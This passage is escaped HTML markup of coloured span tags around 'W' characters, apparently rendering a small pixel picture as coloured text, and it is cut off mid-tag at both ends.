239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(202, 144, 121);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(167, 174, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(214, 164, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(74, 94, 107);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(206, 148, 123);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(226, 169, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(214, 164, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(133, 55, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 153, 166);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 170, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 198, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(199, 162, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(228, 162, 134);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 170, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 170, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(164, 200, 228);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(133, 55, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(147, 137, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 148, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(145, 92, 98);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 61, 49);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 61, 49);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(147, 126, 135);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 239, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 214, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(143, 70, 75);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 175, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(144, 59, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(160, 141, 152);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 181, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(231, 231, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 156, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(228, 162, 134);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 183, 216);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 165, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 48, 35);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 50, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 165, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 173, 206);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 198, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 45, 37);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 156, 185);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(160, 192, 225);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(133, 55, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWW&lt;br /&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(214, 148, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 105, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 247);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 206, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 181, 